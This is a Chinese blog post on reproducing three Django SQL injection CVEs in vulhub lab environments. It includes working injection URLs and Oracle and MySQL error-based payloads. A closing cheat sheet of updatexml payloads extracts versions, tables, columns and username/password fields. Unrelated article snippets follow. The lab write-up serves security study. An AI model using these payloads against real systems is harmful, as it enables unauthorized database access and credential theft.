vulhub靶场sql注入漏洞复现

news/2024/7/9 20:15:44 标签: sql, postgresql, django

在这里插入图片描述

Django JSONField/HStoreField SQL注入漏洞(CVE-2019-14234)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2019-14234/README.zh-cn.md
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247483996&idx=1&sn=4254dc0a54003cccb29dd42935f8ccea&chksm=903924aca74eadba5f04112b1a287f22dfbd796481012102c712ce2d66ec8cb6ff56ffbe2434&scene=21#wechat_redirect

Django是一款广为流行的开源web框架,由Python编写,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,JSONField是该数据库的一种数据类型。
该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。
在这里插入图片描述

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。

docker-compose build
docker-compose up -d

环境启动后,访问http://192.168.33.130:8000即可看到Django默认首页。
在这里插入图片描述

漏洞复现
Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

首先登陆后台http://192.168.33.130:8000/admin/,用户名密码为admin、a123123123。
登陆后台后,进入模型Collection的管理页面http://192.168.33.130:8000/admin/vuln/collection/:
在这里插入图片描述

然后在GET参数中构造detail__a’b=123提交,其中detail是模型Collection中的JSONField:

http://192.168.33.130:8000/admin/vuln/collection/?detail__a%27b=123

可见,单引号已注入成功,SQL语句报错:
在这里插入图片描述

Django GIS SQL注入漏洞(CVE-2020-9402)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2020-9402/README.zh-cn.md
https://xz.aliyun.com/t/7403

GIS 查询功能中存在的SQL注入漏洞。
该漏洞需要开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句。

漏洞复现
访问http://your-ip:8983 ,出现如下页面表示搭建成功!
在这里插入图片描述存在漏洞的是vuln、vuln2

漏洞一

首先访问http://your-ip:8000/vuln/。

在该网页中使用get方法构造q的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1

http://your-ip:8000/vuln/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

可见,括号已注入成功,SQL语句查询报错:

漏洞二

访问http://your-ip:8000/vuln2/。 在该网页中使用get方法构造q的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --

http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–

Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)

https://github.com/vulhub/vulhub/blob/master/django/CVE-2021-35042/README.zh-cn.md
https://blog.csdn.net/weixin_43047908/article/details/119772225

在QuerySet底下的order_by函数中存在的SQL注入漏洞。
该漏洞需要用户可控order_by传入的值,在预期列的位置注入SQL语句。
在这里插入图片描述首先,转到列表视图 http://your-ip:8000/vuln/
在这里插入图片描述
添加?order=-id到 GET 参数。看到按 id 降序排列的数据。
在这里插入图片描述
看到按 id 降序排列的数据。

因此根据这个信息我们可以构造报错注入来进行攻击获取数据信息。
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23,其中vuln是我们的应用程序和collection模型。
在这里插入图片描述
获取用户
在这里插入图片描述其他:
updatexml报错注入原理:

sql">`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
sql">爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


sql">爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#

http://www.niftyadmin.cn/n/1502469.html

相关文章

cmt跟踪算法 matlab_如何用MATLAB开发机器人?

1. MATLAB/Simulink:万物皆可仿真MATLAB是由美国MathWorks公出品的一款商业数学软件.它是一个多功能的科学计算平台,将算法开发、数据分析、矩阵计算等诸多强大功能集成在一个易于操作的视窗环境中.MATLAB下的Simulink更是被认为可以“仿真任何系统”.正是由于MATLAB/Simulink的…

finereport报表设计中模板数据集的sql语句中if的用法_统计学硕士做了3年表格,多次跳槽失败,只因学不会数据工具...

由阿拉伯数字组成的表格的统计人,经常被戏称为“表哥”和“表姐”。这是我工作的第3年,快到年底了,我这个211统计学专业硕士毕业的“高材生”,对这些成山的数据报表,也会毫无办法。想辞职吧,找不到下家&…

CentOS 修改时区

CentOS如果在安装的时候没有选择时区的话,默认是UTC。需要修改的话,只需要复制时区信息文件即可 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 转载于:https://www.cnblogs.com/edwardteng/p/4885564.html

jboss漏洞复现

JBoss JMXInvokerServlet 反序列化漏洞 https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/ https://paper.seebug.org/312/ https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/ JBoss在/invoker/JMXInvokerServlet请求中…

docker 启动redis_Docker在一台机器部署redis哨兵模式——完整步骤和截图

本文记录本人在一台机器上配置一主两从三哨兵redis哨兵模式一、环境操作系统:centos7docker版本:1.13.1二、操作docker安装redisdocker pull redis本人安装时,获取的最新版本为redis 6.0.6获取redis配置文件样本cd /home/work/docker_data/re…

游标模板

--DECLARE test_Cursor CURSOR GLOBAL FOR --全局游标,在批处理结束后依然有效 --DECLARE test_Cursor CURSOR LOCAL FOR --局部游标,在批处理结束后,被隐式释放,无法在其他批处理中调用 --DECLARE test_Cursor CURSOR FORWARD_ON…

js ws 状态_Easy-Monitor 3.0 开源 - 基于 Egg 的 Node.js 性能监控解决方案

欢迎加入钉钉群 35149528 一起讨论# 项目简介作为一名 Node.js 开发者,深知对于初涉服务端领域的前端同学来说,在引入 Node.js 的时候很容易心里没底:我的应用内存一点点上涨,是为什么呢?我的应用为何响应时间这么慢&a…

weblogic漏洞复现及xml学习

前言: WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。 WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 将Java的动态功能和Java Enterprise标准的…